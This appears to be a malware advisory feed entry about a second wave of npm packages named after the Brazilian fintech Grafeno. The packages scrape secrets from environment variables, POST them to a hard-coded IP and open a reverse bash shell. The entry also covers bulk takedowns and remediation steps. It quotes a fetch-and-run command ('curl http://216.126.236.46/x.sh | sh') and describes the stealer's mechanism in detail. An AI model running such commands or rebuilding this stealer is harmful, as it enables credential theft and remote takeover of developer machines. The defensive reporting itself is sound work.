Feed
HighPublished 30 Aug 20266 packages · 10 versions

GitHub Advisory malware sweep - 2026-08-30 batch (npm `grafeno-*` Wave 2 env-var stealer + reverse shell to 216.126.236.46:4444 (3 packages: `grafeno-webhook`, `grafeno-payments`, `grafeno-billing`) + npm CWE-506 takedown burst: `quesoeducation`, `opiumbest`, `gclassroom`)

Summary

Second wave of the grafeno-* Brazilian-fintech-themed cluster surfaced on 2026-08-30: grafeno-webhook, grafeno-payments, and grafeno-billing (all v1.0.0) reuse the 216.126.236.46 C2 host from Wave 1 but swap the x.sh + crontab mechanism for env-var scraping (AWS|TOKEN|KEY|SECRET|PASS|API) + a reverse bash shell on port 4444. Plus three CWE-506 boilerplate takedowns: quesoeducation, opiumbest, gclassroom.

credential-theftinfostealerci-cd-compromiseobfuscation
Detected by
GitHub Advisory Database · OpenSSF malicious-packages · OpenSSF Package Analysis · Amazon Inspector
Also known as
2026-08-30 GHSA sweep · 2026-08-grafeno wave 2 · 2026-08-grafeno reverse-shell
Ecosystems
npm
Packages tracked
6

What happened

The 24-hour window ending 2026-08-30 published a small but operationally meaningful batch of new GHSA malware advisories - the headline is a second wave of the grafeno-* Brazilian-fintech-themed cluster that reuses the C2 IP from the 2026-08-29 Wave 1 but swaps the delivery mechanism for env-var scraping + a reverse bash shell. Alongside it, three CWE-506 boilerplate takedowns were bulk-actioned by the npm security team in a single six-second window (quesoeducation, opiumbest, gclassroom).

Cluster A - npm grafeno-* Wave 2 (env-var stealer + reverse-shell to 216.126.236.46:4444)

| Package | Version | GHSA | Source hash | MAL id | |---|---|---|---|---| | grafeno-webhook | 1.0.0 | GHSA-477g-wmjw-mjmr | 79e333ed…7cb16c36 | MAL-2026-15573 | | grafeno-payments | 1.0.0 | GHSA-wv93-x8h7-2vq7 | 7af58da8…7da2c0caa | MAL-2026-15572 | | grafeno-billing | 1.0.0 | GHSA-8x3v-8vvh-78qm | 72306b80…47ef8e5c6 | MAL-2026-15571 |

Shared IOCs (same operator, same infrastructure): C2 host 216.126.236.46; credential exfil endpoint http://216.126.236.46/r.php; reverse bash shell target 216.126.236.46:4444.

Mechanism: preinstall.js enumerates process.env for keys matching AWS|TOKEN|KEY|SECRET|PASS|API, concatenates them with os.hostname() and os.userInfo().username, base64-encodes the blob, and HTTP-POSTs to /r.php. On non-Windows systems, it additionally establishes an interactive reverse bash shell to port 4444. The || true suffix masks execution errors so npm install reports success.

Relationship to Wave 1: the 2026-08-29 sweep documented Cluster I - 9 grafeno-* packages (grafeno-auth, grafeno-client, grafeno-utils, grafeno-config, grafeno-api, grafeno-core, grafeno-pix, grafeno-logger, grafeno-sdk) that hit the same 216.126.236.46 IP but via curl http://216.126.236.46/x.sh | sh in preinstall and a 30-minute crontab that re-fetched x.sh. Wave 2 abandons the persistence and the shell script for a lighter-weight direct-exfil + on-demand reverse shell - a deliberate operator pivot. Every grafeno-* name in either wave targets the Brazilian fintech Grafeno (a banking-as-a-service provider); grafeno-webhook, grafeno-payments, and grafeno-billing mirror the exact product names in Grafeno's public API docs (docs.grafeno.digital).

Cluster B - npm CWE-506 boilerplate takedowns

| Package | Affected versions | GHSA | Yanked at | |---|---|---|---| | quesoeducation | 1.0.0, 1.0.67 | GHSA-mm9m-8q5p-fxwx | 2026-08-30 05:02:11 UTC | | opiumbest | 1.0.0, 1.0.1, 1.1.1 | GHSA-pwqr-5gcr-9rc4 | 2026-08-30 05:02:06 UTC | | gclassroom | 1.0.0, 1.1.1 | GHSA-6c25-pq89-3m9w | 2026-08-30 05:02:02 UTC |

All three published pure CWE-506 boilerplate advisories with no per-package IOCs. The three yanks happened inside the same six-second window (05:02:02 → 05:02:11 UTC), consistent with one bulk npm security-team take-down action; each name has been replaced with npm's 0.0.1-security holding package on the registry. Defensive value here is name-level: any lockfile hit means uninstall.

Also visible in the 24h window (tracked in the 2026-08-29 record)

Two GHSA advisories dated 2026-08-29 surfaced too late for yesterday's sweep and were folded back into it under lastUpdated: 2026-08-30:

  • manager-thedate@1.0.15, 1.0.16 (GHSA-3rww-v3p8-fw9p) - the payload-rotation channel that supersignaturenature (Cluster D in the 2026-08-29 sweep) pulls its DES key from. The supersignaturenature write-up already described manager-thedate as the operator-controlled rotation vehicle; the package now has its own GHSA advisory and is listed in the packages block so lockfile scans catch it.
  • flask-header-guard@1.0.0 PyPI (GHSA-gmgc-w467-4xf7) - added to Cluster K under the shared campaign identifier 2026-08-pygame-renderkit. Setup.py override with env-var + file exfiltration, persistence, and a reverse shell - a companion payload to pygame-renderkit@1.2.0.

Registry state

grafeno-webhook, grafeno-payments, and grafeno-billing were flagged and yanked from npm on 2026-08-30. quesoeducation, opiumbest, and gclassroom were replaced with 0.0.1-security holding packages inside the same six-second window on 2026-08-30 05:02 UTC. Internal mirrors routinely keep serving yanked tarballs; re-sync every mirror.

Related tracked activity

  • *`grafeno-` Wave 1** - multi-2026-08-29-ghsa-malware-sweep Cluster I. Same C2 IP, different delivery mechanism.
  • repo.securityctrl.com dependency-confusion probe - multi-2026-08-29-ghsa-malware-sweep Cluster H. Still active; more GHSA advisories in the same publisher fingerprint continue to publish daily.
  • Discovery credits: GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector.

Affected packages (6)

These are usually pulled in as transitive dependencies rather than installed directly. Check your whole tree at once - it runs in your browser and nothing is uploaded.

Impact

  • *Cluster A - npm `grafeno- Wave 2 env-var stealer + reverse-shell (2026-08-30, 3 packages, 216.126.236.46:4444)**: grafeno-webhook@1.0.0 (GHSA-477g-wmjw-mjmr, hash 79e333edbcad465f3e5bdfafa8dc4ba91589d66e12c201bb9e1ed4037cb16c36, MAL-2026-15573), grafeno-payments@1.0.0 (GHSA-wv93-x8h7-2vq7, hash 7af58da84956e51749cbb96923f12264cfdee76456b5010b526599b7da2c0caa, MAL-2026-15572), grafeno-billing@1.0.0 (GHSA-8x3v-8vvh-78qm, hash 72306b800994fea3aa6c6d12e137657ffe70ec9ac6c44abfe3ceaa547ef8e5c6, MAL-2026-15571). Every package: preinstall.js enumerates process.env for keys matching AWS|TOKEN|KEY|SECRET|PASS|API, concatenates them with the machine's hostname and username, base64-encodes the blob, and POSTs to http://216.126.236.46/r.php. On non-Windows systems it also establishes an interactive reverse bash shell to 216.126.236.46:4444. The || true suffix masks execution errors, so npm install reports success while the payload runs. Same C2 IP as the [2026-08-29 grafeno- Wave 1](/incident/multi-2026-08-29-ghsa-malware-sweep) (9 packages using curl http://216.126.236.46/x.sh | sh + a 30-minute crontab) but a different mechanism - the operator has swapped the persistence + payload delivery for a lighter-weight direct-exfil + interactive shell. Same grafeno- naming pattern targeting Brazilian fintech (Grafeno is a BaaS provider; grafeno-webhook explicitly references Grafeno's payment webhook product per docs.grafeno.digital). Any build box that ran npm install` for any of these on Linux / macOS should be treated as having had an interactive shell open to the operator plus its environment stripped of AWS / API / auth secrets
  • Cluster B - npm CWE-506 boilerplate takedowns (2026-08-30, 3 packages): quesoeducation (GHSA-mm9m-8q5p-fxwx, versions 1.0.0 and 1.0.67, yanked and replaced with 0.0.1-security at 2026-08-30 05:02 UTC), opiumbest (GHSA-pwqr-5gcr-9rc4, versions 1.0.0, 1.0.1, 1.1.1, yanked and replaced with 0.0.1-security at 2026-08-30 05:02 UTC), gclassroom (GHSA-6c25-pq89-3m9w, versions 1.0.0, 1.1.1, yanked and replaced with 0.0.1-security at 2026-08-30 05:02 UTC). All three published pure CWE-506 boilerplate advisories with no per-package IOCs. The three yanks happened inside the same six-second window (05:02:02 → 05:02:11 UTC), which suggests one bulk npm security-team take-down action rather than three independent findings. Defensive value is name-level: if any of these three names show up in a lockfile, uninstall
  • Also visible in the same 24h window but tracked elsewhere: three additional GHSA advisories dated 2026-08-29 that surfaced too late for the 2026-08-29 sweep were folded back into it (manager-thedate@1.0.15, 1.0.16 - GHSA-3rww-v3p8-fw9p - the payload-rotation channel that supersignaturenature pulls its DES key from; flask-header-guard@1.0.0 PyPI - GHSA-gmgc-w467-4xf7 - added under the shared 2026-08-pygame-renderkit campaign identifier). Grep for manager-thedate and flask-header-guard alongside the Cluster D / Cluster K lists in that record

What to do

  1. 1Grep every lockfile (package-lock.json, yarn.lock, pnpm-lock.yaml) for: grafeno-webhook, grafeno-payments, grafeno-billing, quesoeducation, opiumbest, gclassroom. Uninstall on any hit and rebuild the lockfile against a clean cache
  2. 2*For Cluster A (`grafeno- Wave 2)**: on any Linux / macOS host that ran npm install for any of the three, assume (a) all environment variables matching AWS|TOKEN|KEY|SECRET|PASS|API were exfiltrated and (b) an interactive reverse bash shell was opened to the operator. Rotate every AWS access key, GitHub PAT, npm token, cloud API key, and CI secret that was present in the environment at install time. Audit shell history and process ancestry for anything spawned under the npm install PID for the window between install and now. Block 216.126.236.46 at egress across all CI, developer, and build environments - the same IP hosts the Wave 1 x.sh payload as well as the Wave 2 /r.php and port-4444 shell. For CI, --ignore-scripts prevents the preinstall.js` hook from running
  3. 3For Cluster A - relationship to Wave 1 (2026-08-29): any Brazilian fintech shop, or any team that uses the legitimate Grafeno BaaS or interacts with grafeno-*-adjacent internal scopes, should treat the whole cluster as one campaign against your ecosystem. Audit your .npmrc scope-registry mappings so internal @grafeno/* (or whichever scope your team uses) never falls through to the public registry. The operator has already rotated payload delivery mechanisms once inside 24 hours - expect a Wave 3
  4. 4For Cluster B (quesoeducation, opiumbest, gclassroom): uninstall on hit; these are already replaced by npm's 0.0.1-security holding packages, so a fresh npm install against the public registry will pull the holding package rather than any live malicious version. Internal caches (Nexus / Artifactory / Verdaccio / Sonatype) may still be serving the pre-takedown tarballs - re-sync every mirror. No per-package IOCs published; treat the names alone as the defensive signal
  5. 5For all npm install runs in CI, prefer --ignore-scripts - Cluster A executes via a preinstall.js lifecycle hook, so blocking lifecycle scripts prevents both the credential exfil and the reverse shell
  6. 6Verify none of the enumerated packages still resolves via your private mirror - internal caches routinely keep serving yanked tarballs after the public takedown

References

multi-2026-08-30-ghsa-malware-sweep